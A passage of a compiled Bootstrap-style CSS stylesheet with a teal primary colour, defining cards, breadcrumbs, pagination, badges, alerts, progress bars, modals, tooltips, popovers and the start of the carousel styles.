border-top-left-radius: calc(0.25rem - 1px);\n  border-top-right-radius: calc(0.25rem - 1px);\n}\n\n.card-img-bottom {\n  width: 100%;\n  border-bottom-right-radius: calc(0.25rem - 1px);\n  border-bottom-left-radius: calc(0.25rem - 1px);\n}\n\n.card-deck {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n}\n\n.card-deck .card {\n  margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n  .card-deck {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-flow: row wrap;\n            flex-flow: row wrap;\n    margin-right: -15px;\n    margin-left: -15px;\n  }\n  .card-deck .card {\n    display: -webkit-box;\n    display: -ms-flexbox;\n    display: flex;\n    -webkit-box-flex: 1;\n        -ms-flex: 1 0 0%;\n            flex: 1 0 0%;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n        -ms-flex-direction: column;\n            flex-direction: column;\n    margin-right: 15px;\n    margin-bottom: 0;\n    margin-left: 15px;\n  }\n}\n\n.card-group {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n}\n\n.card-group > .card {\n  margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n  .card-group {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-flow: row wrap;\n            flex-flow: row wrap;\n  }\n  .card-group > .card {\n    -webkit-box-flex: 1;\n        -ms-flex: 1 0 0%;\n            flex: 1 0 0%;\n    margin-bottom: 0;\n  }\n  .card-group > .card + .card {\n    margin-left: 0;\n    border-left: 0;\n  }\n  .card-group > .card:first-child {\n    border-top-right-radius: 0;\n    border-bottom-right-radius: 0;\n  }\n  .card-group > .card:first-child .card-img-top,\n  .card-group > .card:first-child .card-header {\n    border-top-right-radius: 0;\n  }\n  .card-group > .card:first-child .card-img-bottom,\n  .card-group > .card:first-child .card-footer {\n    border-bottom-right-radius: 0;\n  }\n  .card-group > .card:last-child {\n    border-top-left-radius: 0;\n    border-bottom-left-radius: 0;\n  }\n  .card-group > .card:last-child .card-img-top,\n  .card-group > .card:last-child .card-header {\n    border-top-left-radius: 0;\n  }\n  .card-group > .card:last-child .card-img-bottom,\n  .card-group > .card:last-child .card-footer {\n    border-bottom-left-radius: 0;\n  }\n  .card-group > .card:only-child {\n    border-radius: 0.25rem;\n  }\n  .card-group > .card:only-child .card-img-top,\n  .card-group > .card:only-child .card-header {\n    border-top-left-radius: 0.25rem;\n    border-top-right-radius: 0.25rem;\n  }\n  .card-group > .card:only-child .card-img-bottom,\n  .card-group > .card:only-child .card-footer {\n    border-bottom-right-radius: 0.25rem;\n    border-bottom-left-radius: 0.25rem;\n  }\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) {\n    border-radius: 0;\n  }\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer {\n    border-radius: 0;\n  }\n}\n\n.card-columns .card {\n  margin-bottom: 0.75rem;\n}\n\n@media (min-width: 576px) {\n  .card-columns {\n    -webkit-column-count: 3;\n            column-count: 3;\n    -webkit-column-gap: 1.25rem;\n            column-gap: 1.25rem;\n  }\n  .card-columns .card {\n    display: inline-block;\n    width: 100%;\n  }\n}\n\n.breadcrumb {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  padding: 0.75rem 1rem;\n  margin-bottom: 1rem;\n  list-style: none;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.breadcrumb-item + .breadcrumb-item::before {\n  display: inline-block;\n  padding-right: 0.5rem;\n  padding-left: 0.5rem;\n  color: #6c757d;\n  content: \"/\";\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: underline;\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: none;\n}\n\n.breadcrumb-item.active {\n  color: #6c757d;\n}\n\n.pagination {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  padding-left: 0;\n  list-style: none;\n  border-radius: 0.25rem;\n}\n\n.page-link {\n  position: relative;\n  display: block;\n  padding: 0.5rem 0.75rem;\n  margin-left: -1px;\n  line-height: 1.25;\n  color: #009688;\n  background-color: #FFF;\n  border: 1px solid #dee2e6;\n}\n\n.page-link:hover {\n  color: #004a43;\n  text-decoration: none;\n  background-color: #e9ecef;\n  border-color: #dee2e6;\n}\n\n.page-link:focus {\n  z-index: 2;\n  outline: 0;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.page-link:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.page-item:first-child .page-link {\n  margin-left: 0;\n  border-top-left-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.page-item:last-child .page-link {\n  border-top-right-radius: 0.25rem;\n  border-bottom-right-radius: 0.25rem;\n}\n\n.page-item.active .page-link {\n  z-index: 1;\n  color: #FFF;\n  background-color: #009688;\n  border-color: #009688;\n}\n\n.page-item.disabled .page-link {\n  color: #6c757d;\n  pointer-events: none;\n  cursor: auto;\n  background-color: #FFF;\n  border-color: #dee2e6;\n}\n\n.pagination-lg .page-link {\n  padding: 0.75rem 1.5rem;\n  font-size: 1.09375rem;\n  line-height: 1.5;\n}\n\n.pagination-lg .page-item:first-child .page-link {\n  border-top-left-radius: 0.3rem;\n  border-bottom-left-radius: 0.3rem;\n}\n\n.pagination-lg .page-item:last-child .page-link {\n  border-top-right-radius: 0.3rem;\n  border-bottom-right-radius: 0.3rem;\n}\n\n.pagination-sm .page-link {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.765625rem;\n  line-height: 1.5;\n}\n\n.pagination-sm .page-item:first-child .page-link {\n  border-top-left-radius: 0.2rem;\n  border-bottom-left-radius: 0.2rem;\n}\n\n.pagination-sm .page-item:last-child .page-link {\n  border-top-right-radius: 0.2rem;\n  border-bottom-right-radius: 0.2rem;\n}\n\n.badge {\n  display: inline-block;\n  padding: 0.25em 0.4em;\n  font-size: 75%;\n  font-weight: 700;\n  line-height: 1;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: 0.25rem;\n}\n\n.badge:empty {\n  display: none;\n}\n\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n\n.badge-pill {\n  padding-right: 0.6em;\n  padding-left: 0.6em;\n  border-radius: 10rem;\n}\n\n.badge-primary {\n  color: #FFF;\n  background-color: #009688;\n}\n\n.badge-primary[href]:hover, .badge-primary[href]:focus {\n  color: #FFF;\n  text-decoration: none;\n  background-color: #00635a;\n}\n\n.badge-secondary {\n  color: #FFF;\n  background-color: #6c757d;\n}\n\n.badge-secondary[href]:hover, .badge-secondary[href]:focus {\n  color: #FFF;\n  text-decoration: none;\n  background-color: #545b62;\n}\n\n.badge-success {\n  color: #FFF;\n  background-color: #28a745;\n}\n\n.badge-success[href]:hover, .badge-success[href]:focus {\n  color: #FFF;\n  text-decoration: none;\n  background-color: #1e7e34;\n}\n\n.badge-info {\n  color: #FFF;\n  background-color: #17a2b8;\n}\n\n.badge-info[href]:hover, .badge-info[href]:focus {\n  color: #FFF;\n  text-decoration: none;\n  background-color: #117a8b;\n}\n\n.badge-warning {\n  color: #212529;\n  background-color: #ffc107;\n}\n\n.badge-warning[href]:hover, .badge-warning[href]:focus {\n  color: #212529;\n  text-decoration: none;\n  background-color: #d39e00;\n}\n\n.badge-danger {\n  color: #FFF;\n  background-color: #dc3545;\n}\n\n.badge-danger[href]:hover, .badge-danger[href]:focus {\n  color: #FFF;\n  text-decoration: none;\n  background-color: #bd2130;\n}\n\n.badge-light {\n  color: #212529;\n  background-color: #f8f9fa;\n}\n\n.badge-light[href]:hover, .badge-light[href]:focus {\n  color: #212529;\n  text-decoration: none;\n  background-color: #dae0e5;\n}\n\n.badge-dark {\n  color: #FFF;\n  background-color: #343a40;\n}\n\n.badge-dark[href]:hover, .badge-dark[href]:focus {\n  color: #FFF;\n  text-decoration: none;\n  background-color: #1d2124;\n}\n\n.jumbotron {\n  padding: 2rem 1rem;\n  margin-bottom: 2rem;\n  background-color: #e9ecef;\n  border-radius: 0.3rem;\n}\n\n@media (min-width: 576px) {\n  .jumbotron {\n    padding: 4rem 2rem;\n  }\n}\n\n.jumbotron-fluid {\n  padding-right: 0;\n  padding-left: 0;\n  border-radius: 0;\n}\n\n.alert {\n  position: relative;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 1rem;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.alert-heading {\n  color: inherit;\n}\n\n.alert-link {\n  font-weight: 700;\n}\n\n.alert-dismissible {\n  padding-right: 3.8125rem;\n}\n\n.alert-dismissible .close {\n  position: absolute;\n  top: 0;\n  right: 0;\n  padding: 0.75rem 1.25rem;\n  color: inherit;\n}\n\n.alert-primary {\n  color: #004e47;\n  background-color: #cceae7;\n  border-color: #b8e2de;\n}\n\n.alert-primary hr {\n  border-top-color: #a6dbd6;\n}\n\n.alert-primary .alert-link {\n  color: #001b19;\n}\n\n.alert-secondary {\n  color: #383d41;\n  background-color: #e2e3e5;\n  border-color: #d6d8db;\n}\n\n.alert-secondary hr {\n  border-top-color: #c8cbcf;\n}\n\n.alert-secondary .alert-link {\n  color: #202326;\n}\n\n.alert-success {\n  color: #155724;\n  background-color: #d4edda;\n  border-color: #c3e6cb;\n}\n\n.alert-success hr {\n  border-top-color: #b1dfbb;\n}\n\n.alert-success .alert-link {\n  color: #0b2e13;\n}\n\n.alert-info {\n  color: #0c5460;\n  background-color: #d1ecf1;\n  border-color: #bee5eb;\n}\n\n.alert-info hr {\n  border-top-color: #abdde5;\n}\n\n.alert-info .alert-link {\n  color: #062c33;\n}\n\n.alert-warning {\n  color: #856404;\n  background-color: #fff3cd;\n  border-color: #ffeeba;\n}\n\n.alert-warning hr {\n  border-top-color: #ffe8a1;\n}\n\n.alert-warning .alert-link {\n  color: #533f03;\n}\n\n.alert-danger {\n  color: #721c24;\n  background-color: #f8d7da;\n  border-color: #f5c6cb;\n}\n\n.alert-danger hr {\n  border-top-color: #f1b0b7;\n}\n\n.alert-danger .alert-link {\n  color: #491217;\n}\n\n.alert-light {\n  color: #818182;\n  background-color: #fefefe;\n  border-color: #fdfdfe;\n}\n\n.alert-light hr {\n  border-top-color: #ececf6;\n}\n\n.alert-light .alert-link {\n  color: #686868;\n}\n\n.alert-dark {\n  color: #1b1e21;\n  background-color: #d6d8d9;\n  border-color: #c6c8ca;\n}\n\n.alert-dark hr {\n  border-top-color: #b9bbbe;\n}\n\n.alert-dark .alert-link {\n  color: #040505;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 1rem 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 1rem 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  height: 1rem;\n  overflow: hidden;\n  font-size: 0.65625rem;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.progress-bar {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n  color: #FFF;\n  text-align: center;\n  background-color: #009688;\n  -webkit-transition: width 0.6s ease;\n  -o-transition: width 0.6s ease;\n  transition: width 0.6s ease;\n}\n\n.progress-bar-striped {\n  background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-size: 1rem 1rem;\n}\n\n.progress-bar-animated {\n  -webkit-animation: progress-bar-stripes 1s linear infinite;\n          animation: progress-bar-stripes 1s linear infinite;\n}\n\n.media {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: start;\n      -ms-flex-align: start;\n          align-items: flex-start;\n}\n\n.media-body {\n  -webkit-box-flex: 1;\n      -ms-flex: 1;\n          flex: 1;\n}\n\n.list-group {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n}\n\n.list-group-item-action {\n  width: 100%;\n  color: #495057;\n  text-align: inherit;\n}\n\n.list-group-item-action:hover, .list-group-item-action:focus {\n  color: #495057;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.list-group-item-action:active {\n  color: #212529;\n  background-color: #e9ecef;\n}\n\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: -1px;\n  background-color: #FFF;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.list-group-item:hover, .list-group-item:focus {\n  z-index: 1;\n  text-decoration: none;\n}\n\n.list-group-item.disabled, .list-group-item:disabled {\n  color: #6c757d;\n  background-color: #FFF;\n}\n\n.list-group-item.active {\n  z-index: 2;\n  color: #FFF;\n  background-color: #009688;\n  border-color: #009688;\n}\n\n.list-group-flush .list-group-item {\n  border-right: 0;\n  border-left: 0;\n  border-radius: 0;\n}\n\n.list-group-flush:first-child .list-group-item:first-child {\n  border-top: 0;\n}\n\n.list-group-flush:last-child .list-group-item:last-child {\n  border-bottom: 0;\n}\n\n.list-group-item-primary {\n  color: #004e47;\n  background-color: #b8e2de;\n}\n\n.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus {\n  color: #004e47;\n  background-color: #a6dbd6;\n}\n\n.list-group-item-primary.list-group-item-action.active {\n  color: #fff;\n  background-color: #004e47;\n  border-color: #004e47;\n}\n\n.list-group-item-secondary {\n  color: #383d41;\n  background-color: #d6d8db;\n}\n\n.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus {\n  color: #383d41;\n  background-color: #c8cbcf;\n}\n\n.list-group-item-secondary.list-group-item-action.active {\n  color: #fff;\n  background-color: #383d41;\n  border-color: #383d41;\n}\n\n.list-group-item-success {\n  color: #155724;\n  background-color: #c3e6cb;\n}\n\n.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus {\n  color: #155724;\n  background-color: #b1dfbb;\n}\n\n.list-group-item-success.list-group-item-action.active {\n  color: #fff;\n  background-color: #155724;\n  border-color: #155724;\n}\n\n.list-group-item-info {\n  color: #0c5460;\n  background-color: #bee5eb;\n}\n\n.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus {\n  color: #0c5460;\n  background-color: #abdde5;\n}\n\n.list-group-item-info.list-group-item-action.active {\n  color: #fff;\n  background-color: #0c5460;\n  border-color: #0c5460;\n}\n\n.list-group-item-warning {\n  color: #856404;\n  background-color: #ffeeba;\n}\n\n.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus {\n  color: #856404;\n  background-color: #ffe8a1;\n}\n\n.list-group-item-warning.list-group-item-action.active {\n  color: #fff;\n  background-color: #856404;\n  border-color: #856404;\n}\n\n.list-group-item-danger {\n  color: #721c24;\n  background-color: #f5c6cb;\n}\n\n.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus {\n  color: #721c24;\n  background-color: #f1b0b7;\n}\n\n.list-group-item-danger.list-group-item-action.active {\n  color: #fff;\n  background-color: #721c24;\n  border-color: #721c24;\n}\n\n.list-group-item-light {\n  color: #818182;\n  background-color: #fdfdfe;\n}\n\n.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus {\n  color: #818182;\n  background-color: #ececf6;\n}\n\n.list-group-item-light.list-group-item-action.active {\n  color: #fff;\n  background-color: #818182;\n  border-color: #818182;\n}\n\n.list-group-item-dark {\n  color: #1b1e21;\n  background-color: #c6c8ca;\n}\n\n.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus {\n  color: #1b1e21;\n  background-color: #b9bbbe;\n}\n\n.list-group-item-dark.list-group-item-action.active {\n  color: #fff;\n  background-color: #1b1e21;\n  border-color: #1b1e21;\n}\n\n.close {\n  float: right;\n  font-size: 1.3125rem;\n  font-weight: 700;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #FFF;\n  opacity: .5;\n}\n\n.close:hover, .close:focus {\n  color: #000;\n  text-decoration: none;\n  opacity: .75;\n}\n\n.close:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\nbutton.close {\n  padding: 0;\n  background-color: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.modal-open {\n  overflow: hidden;\n}\n\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  outline: 0;\n}\n\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 0.5rem;\n  pointer-events: none;\n}\n\n.modal.fade .modal-dialog {\n  -webkit-transition: -webkit-transform 0.3s ease-out;\n  transition: -webkit-transform 0.3s ease-out;\n  -o-transition: transform 0.3s ease-out;\n  transition: transform 0.3s ease-out;\n  transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out;\n  -webkit-transform: translate(0, -25%);\n      -ms-transform: translate(0, -25%);\n          transform: translate(0, -25%);\n}\n\n.modal.show .modal-dialog {\n  -webkit-transform: translate(0, 0);\n      -ms-transform: translate(0, 0);\n          transform: translate(0, 0);\n}\n\n.modal-dialog-centered {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  min-height: calc(100% - (0.5rem * 2));\n}\n\n.modal-content {\n  position: relative;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  width: 100%;\n  pointer-events: auto;\n  background-color: #FFF;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n  outline: 0;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n}\n\n.modal-backdrop.show {\n  opacity: 0.5;\n}\n\n.modal-header {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: start;\n      -ms-flex-align: start;\n          align-items: flex-start;\n  -webkit-box-pack: justify;\n      -ms-flex-pack: justify;\n          justify-content: space-between;\n  padding: 1rem;\n  border-bottom: 1px solid #e9ecef;\n  border-top-left-radius: 0.3rem;\n  border-top-right-radius: 0.3rem;\n}\n\n.modal-header .close {\n  padding: 1rem;\n  margin: -1rem -1rem -1rem auto;\n}\n\n.modal-title {\n  margin-bottom: 0;\n  line-height: 1.5;\n}\n\n.modal-body {\n  position: relative;\n  -webkit-box-flex: 1;\n      -ms-flex: 1 1 auto;\n          flex: 1 1 auto;\n  padding: 1rem;\n}\n\n.modal-footer {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: end;\n      -ms-flex-pack: end;\n          justify-content: flex-end;\n  padding: 1rem;\n  border-top: 1px solid #e9ecef;\n}\n\n.modal-footer > :not(:first-child) {\n  margin-left: .25rem;\n}\n\n.modal-footer > :not(:last-child) {\n  margin-right: .25rem;\n}\n\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n\n@media (min-width: 576px) {\n  .modal-dialog {\n    max-width: 500px;\n    margin: 1.75rem auto;\n  }\n  .modal-dialog-centered {\n    min-height: calc(100% - (1.75rem * 2));\n  }\n  .modal-sm {\n    max-width: 300px;\n  }\n}\n\n@media (min-width: 992px) {\n  .modal-lg {\n    max-width: 800px;\n  }\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  margin: 0;\n  font-family: \"Lato\", -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n  font-style: normal;\n  font-weight: 400;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.765625rem;\n  word-wrap: break-word;\n  opacity: 0;\n}\n\n.tooltip.show {\n  opacity: 0.9;\n}\n\n.tooltip .arrow {\n  position: absolute;\n  display: block;\n  width: 0.8rem;\n  height: 0.4rem;\n}\n\n.tooltip .arrow::before {\n  position: absolute;\n  content: \"\";\n  border-color: transparent;\n  border-style: solid;\n}\n\n.bs-tooltip-top, .bs-tooltip-auto[x-placement^=\"top\"] {\n  padding: 0.4rem 0;\n}\n\n.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^=\"top\"] .arrow {\n  bottom: 0;\n}\n\n.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^=\"top\"] .arrow::before {\n  top: 0;\n  border-width: 0.4rem 0.4rem 0;\n  border-top-color: #000;\n}\n\n.bs-tooltip-right, .bs-tooltip-auto[x-placement^=\"right\"] {\n  padding: 0 0.4rem;\n}\n\n.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^=\"right\"] .arrow {\n  left: 0;\n  width: 0.4rem;\n  height: 0.8rem;\n}\n\n.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^=\"right\"] .arrow::before {\n  right: 0;\n  border-width: 0.4rem 0.4rem 0.4rem 0;\n  border-right-color: #000;\n}\n\n.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^=\"bottom\"] {\n  padding: 0.4rem 0;\n}\n\n.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow {\n  top: 0;\n}\n\n.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow::before {\n  bottom: 0;\n  border-width: 0 0.4rem 0.4rem;\n  border-bottom-color: #000;\n}\n\n.bs-tooltip-left, .bs-tooltip-auto[x-placement^=\"left\"] {\n  padding: 0 0.4rem;\n}\n\n.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^=\"left\"] .arrow {\n  right: 0;\n  width: 0.4rem;\n  height: 0.8rem;\n}\n\n.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^=\"left\"] .arrow::before {\n  left: 0;\n  border-width: 0.4rem 0 0.4rem 0.4rem;\n  border-left-color: #000;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 0.25rem 0.5rem;\n  color: #FFF;\n  text-align: center;\n  background-color: #000;\n  border-radius: 0.25rem;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: block;\n  max-width: 276px;\n  font-family: \"Lato\", -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n  font-style: normal;\n  font-weight: 400;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.765625rem;\n  word-wrap: break-word;\n  background-color: #FFF;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n}\n\n.popover .arrow {\n  position: absolute;\n  display: block;\n  width: 1rem;\n  height: 0.5rem;\n  margin: 0 0.3rem;\n}\n\n.popover .arrow::before, .popover .arrow::after {\n  position: absolute;\n  display: block;\n  content: \"\";\n  border-color: transparent;\n  border-style: solid;\n}\n\n.bs-popover-top, .bs-popover-auto[x-placement^=\"top\"] {\n  margin-bottom: 0.5rem;\n}\n\n.bs-popover-top .arrow, .bs-popover-auto[x-placement^=\"top\"] .arrow {\n  bottom: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before,\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  border-width: 0.5rem 0.5rem 0;\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before {\n  bottom: 0;\n  border-top-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  bottom: 1px;\n  border-top-color: #FFF;\n}\n\n.bs-popover-right, .bs-popover-auto[x-placement^=\"right\"] {\n  margin-left: 0.5rem;\n}\n\n.bs-popover-right .arrow, .bs-popover-auto[x-placement^=\"right\"] .arrow {\n  left: calc((0.5rem + 1px) * -1);\n  width: 0.5rem;\n  height: 1rem;\n  margin: 0.3rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before,\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  border-width: 0.5rem 0.5rem 0.5rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before {\n  left: 0;\n  border-right-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  left: 1px;\n  border-right-color: #FFF;\n}\n\n.bs-popover-bottom, .bs-popover-auto[x-placement^=\"bottom\"] {\n  margin-top: 0.5rem;\n}\n\n.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^=\"bottom\"] .arrow {\n  top: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before,\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  border-width: 0 0.5rem 0.5rem 0.5rem;\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before {\n  top: 0;\n  border-bottom-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  top: 1px;\n  border-bottom-color: #FFF;\n}\n\n.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^=\"bottom\"] .popover-header::before {\n  position: absolute;\n  top: 0;\n  left: 50%;\n  display: block;\n  width: 1rem;\n  margin-left: -0.5rem;\n  content: \"\";\n  border-bottom: 1px solid #f7f7f7;\n}\n\n.bs-popover-left, .bs-popover-auto[x-placement^=\"left\"] {\n  margin-right: 0.5rem;\n}\n\n.bs-popover-left .arrow, .bs-popover-auto[x-placement^=\"left\"] .arrow {\n  right: calc((0.5rem + 1px) * -1);\n  width: 0.5rem;\n  height: 1rem;\n  margin: 0.3rem 0;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before,\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  border-width: 0.5rem 0 0.5rem 0.5rem;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before {\n  right: 0;\n  border-left-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  right: 1px;\n  border-left-color: #FFF;\n}\n\n.popover-header {\n  padding: 0.5rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 0.875rem;\n  color: inherit;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-top-left-radius: calc(0.3rem - 1px);\n  border-top-right-radius: calc(0.3rem - 1px);\n}\n\n.popover-header:empty {\n  display: none;\n}\n\n.popover-body {\n  padding: 0.5rem 0.75rem;\n  color: #212529;\n}\n\n.carousel {\n  position: relative;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel-item {\n  position: relative;\n  display: none;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  width: 100%;\n  -webkit-transition: -webkit-transform 0.6s ease;\n  transition: -webkit-transform 0.6s ease;\n  -o-transition: transform 0.6s ease;\n  transition: transform 0.6s 